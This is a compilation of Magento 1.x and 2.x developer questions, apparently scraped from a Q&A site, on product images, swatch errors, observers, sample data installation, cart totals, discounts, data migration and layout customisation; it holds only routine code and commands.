How can I add one image to ALL the products in Magento 2 ? I found an answer for Magento 1.9, but I need the code for Magento2.

Not a placeholder, I already have several images on each product and I need to add one image for each product.


texts: Magento CE 1.9.1.0 not creating swatch images

texts:
Magento CE 1.9.1.0 is showing broken images (images that don't exist) for the swatches.

system.log shows the following errors:

2014-12-29T14:28:44+00:00 ERR (3): Warning: call_user_func() expects parameter 1 to be a valid callback, function 'imagecreatefrompng' not found or invalid function name  in /Users/franciskim/Sites/foobar/lib/Varien/Image/Adapter/Gd2.php on line 60
2014-12-29T14:28:44+00:00 ERR (3): Warning: imagecolortransparent() expects parameter 1 to be resource, null given  in /Users/franciskim/Sites/foobar/lib/Varien/Image/Adapter/Gd2.php on line 272
2014-12-29T14:28:44+00:00 ERR (3): Warning: imagecopyresampled() expects parameter 2 to be resource, null given  in /Users/franciskim/Sites/foobar/lib/Varien/Image/Adapter/Gd2.php on line 375
2014-12-29T14:28:44+00:00 ERR (3): Warning: call_user_func_array() expects parameter 1 to be a valid callback, function 'imagepng' not found or invalid function name  in /Users/franciskim/Sites/foobar/lib/Varien/Image/Adapter/Gd2.php on line 166

I have PHP GD installed and there are no errors in generating other thumbnails/images.


texts: Magento 2: Why this event is not working for me? prepare_catalog_product_index_select

texts:
Magento version: 2.0

events.xml

<event name="prepare_catalog_product_index_select">
        <observer name="list_product_observer" instance="Demo\Product\Observer\ListProductObserver" />
    </event>

ListProductObserver.php

class ListProductObserver implements ObserverInterface
{
    public function execute(Observer $observer)
    {
        $data = array(
            'product' => $productId,
            'user'  => $userId,
            'value' => 333
        );
        $myfile = fopen("/file_path/ListProductObserver.txt", "w");
        fwrite($myfile, print_r($data, true));
        fclose($myfile);
    }
}

I create a function to do some when admin user enter the catalog list page.
But it doesn't work for me.


texts: Can't install Sample Data Magento2 CE on ubuntu 18.04

texts:
I Installed Magento 2.0.18, I have PHP 7.0.30 installed on my system.

I can't get the sample data installed in my system. All I see is blank Luma theme saying your content goes here.

I have run following commands:

bin/magento sampledata:deploy
bin/magento setup:di:compile

bin/magento setup:upgrade
bin/magento indexer:reindex
bin/magento cache:flush
bin/magento cache:clean

Modules status

Given credentials from my Magento account to deploy the sample data.

Ran following command to set permission from magento directory:

sudo find . -type d -exec chmod 755 {} \;
sudo find . -type f -exec chmod 644 {} \;

Still can't able to get it working. been trying different references from 2 days online.

PS: I ran all commands above as a magento user created suggested by Magento docs, magento user is in www-data group.


texts: Adding variable in Magento Category Page Header Title (product count)

texts:
we would like to add a variable in the Magento category title (the one you see in Google).

I read this link but the problem is that the category has not been loaded at this point. And this won't work either. If I try to change the page title in the template the header is no longer available (is this correct?).

I was thinking of adding something like {{category_product_count}} or {{CPC}} in the title to end with a title like {{CPC}} shoes online where CPC is replaceed by the category count, resulting in 153 shoes online. We would however add some logic to the number where < 100 we take modulus 5, and < 300 we take modulus 10, and < 100 we take modulus 50, and > 1000 we take modulus 100 - and maybe add a PLUS sign. Resulting in 150+ shoes online

So my question is: what is the best way of adding this functionality? Should we change or maybe add a function to the method? I think it is important that - if we do use it - it is reflected everywhere where the title is requested.


texts: Magento add custom code in xml statement?

texts:
I've created code necessary to add a custom item to every cart, and all seems to be ALMOST working as intended.  The code gets the items in the cart, and formulates XML that is sent over to a 3rd party in a request, and parses the response back to my code into an array. The response array is then added to the cart as a unique item with a specific, preordained SKU.

The only trouble that I'm facing is that when I do this, it doesn't seem to update the subtotal in the cart.  For example:

I put in an order in the cart for one item costing $421. This one item is put into an XML statement that is sent over to the 3rd party to get a certain price for a "bond" that is based on the cost of all items in the cart. The response sends the cost of the bond back as $12.63 and the subtotal of the two items in the cart is $433.63 as intended.  Then, after playing with the quantity of the $421 item, I'm starting to see some odd things...

I change the number of the item to 5, and click "UPDATE CART". I get a return value of $63.15 on the bond, but the subtotal shows that I'm adding $2,105 (the price of 5 items) with $12.63 (the price of the original bond) for a total of $2,117.63. I click "UPDATE CART" again, and it then shows the total of $2,168.15.

This happens every time I change the quantity. I get the previous "bond" price added to the current subtotal, and it takes me two clicks of "UPDATE CART" to get the price caught up.

So, I was thinking if there was a way to add the code I've created BEFORE it runs anything else, I'd be able to close that gap.  Am I doing this correctly? What is the best way to add my code previous to any other code that has been put in the XML to call forth this page?

EDIT

To explain further, this is the code block I'm using:

    $cartHelper = Mage::helper('checkout/cart');
    if ($buySAFEcost > 0) {
        $product = Mage::getModel('catalog/product');
        $bs_cart = Mage::getModel('checkout/cart');
        $items = $cartHelper->getCart()->getItems();

        $bs_my_product_id  = $product->getIdBySku($bs_sku);
        $bs_my_product     = $product->load($bs_my_product_id);

        $params = array( 'qty' => 1, 'price' => $buySAFEcost );
        $bs_cart->addProduct($bs_my_product,$params);
        $bs_cart->save();

        Mage::app()->setCurrentStore(0); // ADMIN_STORE_ID
        $bs_my_product->setPrice($buySAFEcost);
        $bs_my_product->save();
        // Redo the totals?

        $cartModel->getQuote()->getBillingAddress();
        $cartModel->getQuote()->getShippingAddress()->setCollectShippingRates(true);
        $cartModel->getQuote()->collectTotals();
        $cartModel->getQuote()->save();

        // $cartModel->getQuote()->setTotalsCollectedFlag(false)->collectTotals()->save();

        Mage::app()->setCurrentStore(1); // DISTRO_STORE_ID
        Mage::getSingleton('checkout/session')->setCartWasUpdated(true);
    }

I feel like I'm killing an ant with a sledgehammer here, but the subtotals remain constantly one step behind my actions. Am I putting this in the wrong section of code, perhaps?


texts:
I added a column to review_detail table i.e view_type through PhpMyAdmin and assigned a default value 0 to all the reviews.

I am trying to add the same column for filtering to the All reviews grid which can be visited from Catalog -> Reviews and Ratings -> Customer Reviews -> All Reviews.

For just testing purpose, I am altering the core/Mage files in Mage/Adminhtml/Block/Review/Grid.php --- line ~ 130:

    $this->addColumn('view_type', array(
        'header'        => Mage::helper('review')->__('View type'),
        'align'         => 'left',
        'width'         => '100px',
        'filter_index'  => 'rdt.view_type',
        'index'         => 'view_type',
        'type'          => 'text',
        'truncate'      => 50,
        'escape'        => true,
    ));

By adding the above code, I can see my newly added filtering column name in the All reviews grid of admin panel but I can't filter or see the default assigned values to any review.


texts: How to override abstract block app/code/core/Mage/Wishlist/Block/Abstract.php and app/code/core/mage/Controller/Abstract.php

texts:
In Controller Abstract.php file, I want to override the
public function allcartAction() to add one more parameter to $item->addToCart($cart, $isOwner))
ie to change the function as $item->addToCart($cart, $isOwner,$params))
In Block/Abstract.php file I want to modify the public function getWishlistItems()
{ function to remove the visisbility filter

So instead of overriding the files to app/code/local/Mage folder, is there any nice way of doing it


texts: Quote Item level manual Discount - Magento 2

texts:
I need to give Quote Item level manual Discount for selected cart items. After giving discount Cart Item row total will change. As can't modify the product price so custom price solution is also not working.

I tried with a new discount total but it gives a discount on the whole cart.

Anyone, please suggest the best approach for giving a discount on Cart item level without modifying product price.


texts: Magento2.4.2 data migration issue: m1-dogdream.eav_attribute_set' doesn't exist, query was: SELECT COUNT(*) FROM `eav_attribute_set`

texts:
I am migrating data from m1 to M2, this command `
php bin/magento migrate:settings --reset <path to your config.xml>

worked without any problem. But when i run second command
php bin/magento migrate:data --reset <path to your config.xml>

It gives me this error. in phpmyadmin i checked the table eav_attribute_set and it exist.

why is it behaving like this. Can you suggest me some solution to this error?


texts: Programmatically Crop image after resize

texts:
How i can first resize then crop image. I already use Varien_Image like this :

        $imageObj = new Varien_Image($_imageUrl);
        $imageObj->constrainOnly(false);
        $imageObj->keepAspectRatio(false);
        $imageObj->keepFrame(false);
        $imageObj->crop($cutH, $cut, $cut,$cutH);
        $imageObj->resize(floor($width), floor($height));
        $imageObj->save($_imageUrl);
        return $imageUrl;

th code above first crop then resize. but i want first resize then crop and also i want only resize width not height?


texts: How to get correct quantity for child product in cart

texts:
I use following code to get cart information:

$cart_items = Mage::getSingleton('checkout/session')->getQuote()->getAllItems();
foreach( $cart_items as $items )
{
        $items->getQty();
}

In above code $items->getQty() always return "float(1)" for child product.

For Example I have a configurable product say "2-disk set" which has associated product as "cds & dvds". I have add quantity 2 for "cds & dvds" in cart but $items->getQty() return "float(1)".

How to get correct quantity for child product?

Thanks in advance.


texts:
I am trying to remove Checkout link but it's not removing.

my code is:

magento\app\design\frontend\easylife\default\layout\local.xml

<?xml version="1.0" encoding="UTF-8"?>
<layout version="0.1.0">
    <default>

        <reference name="top.links">
            <remove name="checkout.links"></remove>
        </reference>

        </default>

</layout>

can anyone tell me how can I do?

thanks.


texts: Magento 1.9.x to Magento 2.x migration with all customer, order, reviews and ratings

texts: Magento 1.9.x to Magento 2.x migrations with all customers, order, reviews and ratings, The payment detail and order detail?


texts: How do Magento2 Integration and Functional Test relate to composer vendor folder?

texts:
I want to write a full test suite for my new module. Unit tests are no problem as they can be tested in isolation, and therefore can be in a tests folder within the package.

However Integration and Functional tests act on the whole application, the Magento core has these at root level, so to my question.

So if we are to have the tests controlled by a composer package how do we get them into a root level folder?

I have found nothing in the documentation on what best practice is. Are third party module developers only writing Unit Tests?

I'm not aiming to distribute my module so I could put my Unit tests in the package and put Integration and Functional Tests at root level and source control them with the project. Is this the best plan - how are others doing it?


texts:
We have magento 1.9 site and we want to make this as marketplace.

For Marketplace, client don't want to use magento as he is telling if thousands of sellers upload millions of Products to site then database may crash, performance will go & site may destroy.

Instead he wants to Connect Magento site with external php site, so that sellers will upload products from php site & it should display in magento site.

Also all sellers related information like their products, orders, payments, accounts information should display in php site.

If those sellers' products ordered in magento site, it should display in php dashboard.

If this is possible,

How to connect magento site to Php Marketplace.
A. Do we need to use Separate Database for both - Upload Products in Php database and then transfer to magento database.

or

B. Do we need to save the products uploaded by seller in single database.
As we create login accounts for each seller, is it possible to create a login account for admin also in frontend and in admin account, all sellers Products will display & admin will approve or reject Products uploaded by sellers.
Do we need to use magento APIs for connecting to PHP site?


texts: State/Province conditions not working on any of my rules

texts: Any time I include a state/province condition on any cart rule the condition is totally ignored. Every other conditions is taken into account and working accept the state/province conditions. Can anyone help?


texts: How to create composer.json file needed in order to post a module on Magento Connect (Magento Marketplace)?

texts:
I am a Magento developer, and I have to publish an extension module to marketplace. I created an account and I am a status of "partner", so on this page:
https://developer.magento.com/customer/account/edit/
I have a field with composer.json file, which I don't know what it's about. How do I create the composer file in order to publish the module to marketplace? I am getting an error message "The vendor name must be lowercase alphanumeric with dashes allowed" if I don't enter it.


texts:
I've made an extension with a single adminhtml page, added an index table for it in the installer and added an indexing model to the extension's configuration.

How do I implement this model and access this index from my extension to add data to it?


texts: Magento 2: Prevent add to cart or qty increase if a product already exists in cart

texts:
I want a feature where if a customer tries to add a product which already exists in cart then it should prevent it from adding again or qty increase. Instead I want to show a message that 'The product already exists in cart'.
This is for product types simple, custom options and configurable options.
Any idea how can this be achieved?
Note: We do allow increase qty but only on cart page and that depends upon some specific set of conditions. The only thing we need here is to prevent qty increase when the same product is added from catalog, category or search page.